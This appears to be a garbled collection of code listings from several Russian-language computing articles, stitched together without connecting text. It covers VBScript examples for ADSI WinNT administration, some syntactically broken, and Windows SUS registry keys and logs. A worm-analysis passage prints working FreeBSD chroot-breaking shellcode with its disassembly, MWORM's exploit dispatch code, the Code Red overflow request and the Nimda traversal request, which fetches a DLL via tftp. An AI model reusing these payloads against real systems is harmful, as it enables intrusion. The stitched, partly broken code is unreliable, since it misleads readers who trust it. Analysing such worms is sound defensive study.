SELECT CRASH5(null) from SYSUSERS;
]].).
.(.classpath.).
.(.pathelement location="pbclient.jar"/.).
.(./classpath.).
.(./sql.).
.(./target.).
.(./project.).
Программное управление ADSI: WinNT
Иван Коробко
WinNT:[//DomainName[/ComputerName[/ObjectName[,ClassName]]]]
Пример 1а)
Set obj=GetObject("WinNT://" & DomainName & "/" & ComputerName & "/" & ObjectName & "," & ClassName).
For Each element In obj
element.value
Next
Пример 1б)
Set obj = GetObject("WinNT://" & DomainName)
obj.Filter = Array("user")
For Each element In obj
element.value
Next
Пример 2а). Первый способ доступа к объектной модели
strDomain="MyDomain"
Set Computer =GetObject("WinNT://" & strDomain & ",user")
For Each User in Computer
users_d=users_d & " "& User.Name & chr(13)
Next
Wsh.Echo users_d
Пример 2б) Второй способ доступа к объектной модели
strDomain="MyDomain"
Set Computer =GetObject("WinNT://" & strDomain)
Computer.Filter = Array("user")
For Each User in Computer
users_d=users_d & " "& User.Name & chr(13)
Next
Wsh.Echo users_d
Пример 3a). Первый способ доступа к объектной модели
strDomain="MyDomain"
strUser="MyUserName"
Set Computer =GetObject("WinNT://" & strDomain & "/" & strUser & ",user")
users_d= User.Name & chr(13)
Wsh.Echo users_d
Пример 3б). Второй способ доступа к объектной модели
strDomain="MyDomain"
Set Computer =GetObject("WinNT://" & strDomain)
Computer.Filter = Array("user")
For Each User in Computer
users_d= User.Name & chr(13)
Next
Wsh.Echo users_d
Пример 4
Set obj=GetObject("WinNT:")
For Each element In obj
temp=element.Name
Next
MsgBox temp
Пример 5. Чтение всех полей класса Computer
Set obj=GetObject("WinNT:")
For Each element In obj
t1="Name: " + cstr(element.Name)+chr(13)
t2="MinPasswordLength: "+ cstr(element.MinPasswordLength)+chr(13)
t3="MinPasswordAge: " + cstr(element.MinPasswordAge)+chr(13)
t4="MaxBadPasswordsAllowed: "+ cstr(element.MaxBadPasswordsAllowed)+chr(13)
t5="AutoUnlockInterval: " + cstr(element.AutoUnlockInterval)+chr(13)
t6="LockoutObservationInterval: " + cstr(element.LockoutObservationInterval)
temp=temp+t1+t2+t3+t4+t5+t6+chr(13)+chr(13)
Next
MsgBox temp
Пример 6. Изменение значения минимальной длины пароля
в домена (NewLenght=10)
NewLenght=10
Set obj=GetObject("WinNT:")
For Each element In obj
element.MinPasswordLength= NewLenght
obj.SetInfo
temp ="NEW: MinPasswordLength: "+ cstr(element.MinPasswordLength)+chr(13)
Next
MsgBox temp
Пример 7
Container="Value"
Set obj=GetObject("WinNT://"& Container)
For Each element In obj
temp = temp + element.name + "; "
Next
MsgBox temp
Пример 8: Определение всех учетных записей пользователей,
входящих в домен
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" & Domain_Name)
obj.filter=array("user")
For Each element In obj
temp =temp+element.name+"; "
Next
Пример 9
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" & Domain_Name)
NewUser="UserName"
Set CU=obj.Create("User",NewUser)
CU.SetInfo
Пример 10. Создания локальной группы с именем GroupName
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" & Domain_Name)
NewGroup="GroupName"
Set CG=obj.Create("Group",NewGroup)
CG.Put "groupType", 4
CG.SetInfo
Пример 11. Создания учетной записи компьютера с именем ComputerName
Set objDomain=GetObject("WinNT: ")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" & Domain_Name)
NewComputer="ComputerName"
Set CC=obj.Create("Computer", UCase(NewComputer))
CC.SetInfo
Set CAccount= GetObject("WinNT://" & Domain_Name&"/"& NewComputer&"$,user")
CAccount.Put "UserFlags", (CAccount.Get("UserFlags") Or &H1000)
CAccount.SetPassword(LCase(NewComputer))
CAccount.SetInfo
Пример 12
Set objDomain=GetObject("WinNT: ")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" & Domain_Name)
ClassName="____"
NameOfObject="____"
Set CC=obj.Delete (ClassName, NameOfObject)
Пример 13
Set objDomain=GetObject("WinNT: ")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
OldUserName="____"
NewUserName="____"
Set obj=GetObject("WinNT://" & Domain_Name&"/"& OldUserName&",user")
obj.MoveHere(User.AdsPath, NewUserName)
obj.Nothing
Пример 14. Чтения параметров подкласса User
Set obj=GetObject("WinNT:")
For Each str In obj
DomainName=str.Name
Next
Set UserName="Value"
Set element=GetObject("WinNT://" & DomainName & "/"& UserName)
u1="FullName: "+ cstr(element.FullName)+chr(13)
u2="UserFlags: "+ cstr(element.UserFlags)+chr(13)
u3="LoginScript: "+ cstr(element.LoginScript)+chr(13)
u4="MaxBadPasswordsAllowed: "+ cstr(element.MaxBadPasswordsAllowed)+chr(13)
u5="PasswordHistoryLength: "+ cstr(element.PasswordHistoryLength)+chr(13)
u6="AutoUnlockInterval: "+ cstr(element.AutoUnlockInterval)+chr(13)
u7="PasswordAge: "+ cstr(element.PasswordAge)+chr(13)
u8="PasswordExpired: "+ cstr(element.PasswordExpired)+chr(13)
temp=""
temp=u1+u2+u3
Пример 15
Set obj=GetObject("WinNT:")
For Each str In obj
DomainName=str.Name
Next
Set UserName="Value"
temp=""
Set element=GetObject("WinNT://" & DomainName & "/"& UserName)
flag=element.Get("UserFlags")
if (flag AnD &H10000)<>0 then
temp="Флаг установлен"
else
temp="Флаг не установлен"
end if
MsgBox temp
Пример 16
Set obj=GetObject("WinNT:")
For Each str In obj
DomainName=str.Name
Next
ADS_UF_DONTEXPIREPASSWD=&H0040
Set UserName="Value"
Set element=GetObject("WinNT://" & DomainName & "/"& UserName)
element.put "userFlags", element.Get("UserFlags") Xor ADS_UF_DONTEXPIREPASSWD
element.setinfo
MsgBox element.get("UserFlags")
Пример 17. Добавление учетной записи Value_Name в группу Value_Group
Set obj=GetObject("WinNT:")
For Each str In obj
DomainName=str.Name
Next
Set UserName="Value_Name"
Set GroupName="Value_Group"
Set element_user=GetObject("WinNT://" & DomainName & "/"& UserName & ", user")
Set element_group=GetObject("WinNT://" & DomainName & "/"& GroupName & ", group")
element_group.Add(element_user.ADsPath)
element_group.SetInfo
Пример 18
Set obj=GetObject("WinNT:")
For Each str In obj
DomainName=str.Name
Next
Set GroupName="Value_Group"
Set element_group=GetObject("WinNT://" & DomainName & "/"& GroupName & ", group")
For each obj inGroup.Members
temp=temp+Member.Name
Next
MsgBox temp
Пример 19
Set objDomain=GetObject("WinNT: ")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
UserName="Administrator"
Set element_user=GetObject("WinNT://" & DomainName & "/"& UserName)
Set obj=GetObject("WinNT://" & DomainName)
obj.filter=array("group")
For Each element In obj
Set element_group=GetObject("WinNT://" & DomainName& "/"& element.name )
if element_group.IsMember ї
(element_user.ADsPath)="True" then
temp=temp+ element.name & chr(13)
end if
Next
MsgBox temp
Пример 20
Set obj=GhpLaserJetObject("WinNT://" & DomainName & "/"& UserName )
For Each element In obj.Groups
temp = temp + element.name + chr(13)
Next
Пример 21
On error Resume Next
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" Domain_Name &" /LanmanServer,fileservice")
For Each element In obj
temp=temp+element.Name+chr(13)
msgbox temp
Set obj=GetObject(«WinNT://PCName/PrinterShareName»
Пример 22. Использование одной из команд
Set pq = GetObject("WinNT://" & server_name & "/" & shares_enum)
pq.purge
Пример 24
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set PC_Name="_______"
Set Share_Name="_______"
Set element=GetObject("WinNT://" & Domain_Name &"/" PC_Name &"/" & Share_Name)
flag=element.status
MsgBox flag
Пример 25. Чтения полей очереди
Set objDomain=GetObject("WinNT: ")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Shares_Name="Value"
Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name)
For Each printJob In pq.PrintJobs
status_pre=printJob.status
select case status_pre
case "0" status_="Нормально"
case "1" status_="Пауза"
case "18" status_="Ошибка"
end select
summary = summary & ”Номер докумета: ” & number_docum & chr(13) & chr(13) & ”Статус: ” & status_pre & chr(13) & ”Приоритет: ” & printJob.Description & chr(13) & ”Пользователь: ” & printJob.User & chr(13) & ”Всего стр. ” & printJob.TotalPages & chr(13) & ”Размер, (Mb) ” & round(printJob.Size/1000000,2) & chr(13) & ”Статус: ” & status_pre & chr(13) & chr(13)
Next
Wscript.Echo summary
Пример 26
On Error Resume Next
Set objDomain=GetObject("WinNT: ")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Shares_Name="Value"
Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name)
For Each printJob In pq.PrintJobs
If (number_docum=2) then
printJob.remove
end if
Next
Пример 27
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set PC_Name="_______"
Set Share_Name="_______"
Set New_Description_Name="_______"
Set element=GetObject("WinNT://" & Domain_Name &"/" & PC_Name &"/LanmanServer/" & Share_Name)
temp="Old Description: " + Element.Description+chr(13)
Element.Description = New_Description_Name
Element.SetInfo
temp="New Description " + Element.Description
msgbox temp
Пример 28. Создание ресурса
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set PC_Name="1000pc"
Set Share_Name="Share1"
Set Folder_Path="c:\Folder1"
Set Description_Name="Shared Folder #1"
Set object=GetObject("WinNT://" & Domain_Name &"/" & PC_Name &"/LanmanServer")
Set element=object.Create("fileshare", Share_Name)
element.Path= Folder_Path
element.Description= Description_Name
element.MaxUserCount =10
element.SetInfo
Пример 29. Удаление ресурса
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set PC_Name="1000pc"
Set Share_Name="Share1"
Set Folder_Path="c:\Folder1"
Set Description_Name="Shared Folder #1"
Set object=GetObject("WinNT://" & Domain_Name &"/" & PC_Name &"/LanmanServer")
Call object.Delete("fileshare", Share_Name)
Пример 30. Связывание служб
On Error Resume Next
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set Service_Name="______"
Set PC_Name="______"
Set object=GetObject("WinNT://" & Domain_Name &"/" & PC_Name &",Computer")
Set Service=object.GetObject("service", Service_Name)
Flag1=0
Flag2=0
Dim New_Array() ' Объявление пустого массива
Set Dependency_Name="_______"
If IsArray(Service.Dependencies)=True Then
For Each obj in Service.Dependencies
' Определение верхней границы массива Dependencies
i=Ubound(New_Array)+1
' Переопределение размера массива New_Arrray
ReDim Preserve New_Array (i)
New_Array(i)=obj
If obj="" then
Flag1=1
end if
If obj= Dependency_Name then
Flag2=1
end if
if Flag1=1 then
Service.dependencies=Array(Dependency_Name)
Service.SetInfo
Else
If Flag2<>1
i=Ubound(New_Array)+1
ReDim Preserve New_Array (i)
New_Array(i)= Dependency_Name
Service.dependencies= New_Array
Service.SetInfo
End if
End if
Else
If Service.dependencies <> Dependency_Name then
Service.dependencies = array(Service.dependencies, ї
Dependency_Name)
Service.SetInfo
End if
End if
Жизненный цикл червей
Крис Касперски
Листинг 1. Пять голов червя MWORM, поражающие множество уязвимых сервисов. Перед нами «шея» червя, которая, собственно, все эти головы и держит, совершающая ими вращательные движения и при необходимости изрыгающая огонь и пламя...
switch(Iptr->h_port)
{
case 80: //web hole
Handle_Port_80(sock,inet_ntoa(sin.sin_addr),Iptr);
break;
case 21: // ftp hole
if (Handle_Port_21(sock,inet_ntoa(sin.sin_addr),Iptr))
{
pthread_mutex_lock(&ndone_mutex);
wuftp260_vuln(sock,inet_ntoa(sin.sin_addr),Iptr);
pthread_mutex_unlock(&ndone_mutex);
} break;
case 111: //rpc hole
if (Handle_Port_STATUS(sock,inet_ntoa(sin.sin_addr),Iptr))
{
pthread_mutex_lock(&ndone_mutex);
// rpcSTATUS_vuln(inet_ntoa(sin.sin_addr), Iptr);
pthread_mutex_unlock(&ndone_mutex);
} break;
case 53: //linux bind hole
// Check_Linux86_Bind(sock,inet_ntoa(sin.sin_addr),Iptr->h_network);
break;
case 515: //linux lpd hole
// Get_OS_Type(Iptr->h_network,inet_ntoa(sin.sin_addr));
// Check_lpd(sock,inet_ntoa(sin.sin_addr),Iptr->h_network);
break;
default: break;
}
Листинг 2. Одна из голов червя и ее дизассемблерный листинг ниже
/* break chroot and exec /bin/sh - dont use on an unbreakable host like 4.0 */
unsigned char x86_fbsd_shell_chroot[] =
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80"
"\x31\xc0\x99"
"\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd"
"\x80\x54\x6a\x3d\x58\xcd\x80\x66\x68\x2e\x2e\x88\x54"
"\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53"
"\x53\xcd\x80\xe2\xf7\x88\x54\x24\x01\x54\x6a\x3d\x58"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\x52\x51\x53\x53"
"\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80";
Листинг 3. Дизассемблерный листинг одной из голов червя MWORM
.data:0804F7E0 x86_fbsd_shell_chroot:
.data:0804F7E0 xor eax, eax
.data:0804F7E2 push eax
.data:0804F7E3 push eax
.data:0804F7E4 push eax
.data:0804F7E5 mov al, 7Eh
; LINUX - sys_sigprocmask
.data:0804F7E7 int 80h
.data:0804F7E9 xor eax, eax
.data:0804F7EB cdq
.data:0804F7EC push 68h
.data:0804F7EE mov ebx, esp
.data:0804F7F0 push eax
.data:0804F7F1 push ebx
.data:0804F7F2 push ebx
.data:0804F7F3 mov al, 88h
; LINUX - sys_personality
.data:0804F7F5 int 80h
.data:0804F7F7 push esp
.data:0804F7F8 push 3Dh
.data:0804F7FA pop eax
; LINUX - sys_chroot
.data:0804F7FB int 80h
.data:0804F7FD push small 2E2Eh
.data:0804F801 mov [esp+2], dl
.data:0804F805 mov ebx, esp
.data:0804F807 push 0Ch
.data:0804F809 pop ecx
.data:0804F80A mov ebx, esp
.data:0804F80C
; CODE XREF: .data:0804F813[]j
.data:0804F80C loc_804F80C:
.data:0804F80C push 0Ch
.data:0804F80E pop eax
.data:0804F80F push ebx
.data:0804F810 push ebx
; LINUX - sys_chdir
.data:0804F811 int 80h
.data:0804F813 loop loc_804F80C
.data:0804F815 mov [esp+1], dl
.data:0804F819 push esp
.data:0804F81A push 3Dh
.data:0804F81C pop eax
; LINUX - sys_chroot
.data:0804F81D int 80h
.data:0804F81F push edx
.data:0804F820 push 68732F6Eh
.data:0804F825 inc esp
.data:0804F826 push 6E69622Fh
.data:0804F82B mov ebx, esp
.data:0804F82D push edx
.data:0804F82E mov edx, esp
.data:0804F830 push ebx
.data:0804F831 mov ecx, esp
.data:0804F833 push edx
.data:0804F834 push ecx
.data:0804F835 push ebx
.data:0804F836 push ebx
.data:0804F837 push 3Bh
.data:0804F839 pop eax
; LINUX - sys_olduname
.data:0804F83A int 80h
.data:0804F83C xor eax, eax
.data:0804F83E inc al
; LINUX - sys_exit
.data:0804F840 int 80h
Листинг 4. Голова червя Code Red, приходящая в первом TCP-пакете
GET /default. ida?
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00= a HTTP 1.0
Content- type: text/ xml,
Content- length: 3379
Листинг 5. Голова червя Nimda
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/
c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll
Уязвимости в MS Windows
В поисках решения проблемы по SUSекам Microsoft
Михаил Платов
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
WUServer=”http://<Имя сервера SUS>”
WUStatusServer=”http://<Имя сервера SUS>”
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
UseWUServer – использовать (1) или нет (0) SUS-сервер.
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
ScheduledInstallDay – позволяет задать день недели (0-7), в который будет осуществляться установка.
ScheduledInstallTime – час (1-24), в который будет осуществляться установка.
AUOptions – выбор режима установки (2 – уведомить о доступных уведомлениях, 3 – скачать и уведомить перед установкой, 4 – скачать и установить согласно расписанию).
NoAutoUpdate – 1 – включить автообновление, 0 – выключить.
RescheduleWaitTime – этот ключ используется в случае, если клиент не смог установить обновление в заданное время. Задает время в минутах (1-60), в течение которого будет предпринято следующее обращение к серверу.
NoAutoRebootWithLoggedOnUsers – 1 – пользователь может отменить перезагрузку, вызванную обновлением.
2003-12-28 14:17:07 11:17:07 Success IUENGINE Determining machine configuration
2003-12-28 14:17:07 11:17:07 Success IUENGINE Querying software update catalog from http://SUSserver/autoupdate/getmanifest.asp
2003-12-29 10:11:55 07:11:55 Success IUENGINE Install started
2003-12-29 10:13:28 07:13:28 Success IUENGINE See iuhist.xml for details: Install finished
2002-03-25 19:08:48 127.0.0.1 – 127.0.0.1 80 POST /autoupdate/getmanifest.asp - 200 Mozilla/4.0+(compatible;+Win32;+WinHttp.WinHttpRequest.5)
2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 HEAD /content/q828750_6f9e9c85178a4c12d6168f6ee4dbe98.exe - 200 Microsoft+BITS/6.2
2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 HEAD /content/q824145_76dd839870a655458701c0b937b91d6.exe - 200 Microsoft+BITS/6.2
2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 HEAD /content/WindowsXP-KB828035-x86- ENU_d911770163b58b6809b00f033230b46.exe - 200 Microsoft+BITS/6.2
2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 HEAD /content/WindowsXP-KB825119-x86- ENU_1b9f23b64b002d1e9d1eaba62f5f8fd.exe - 200 Microsoft+BITS/6.2
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update
\autoupdate\administration
\autoupdate\dictionaries
\Shared
\Content\EULA
\Content\RTF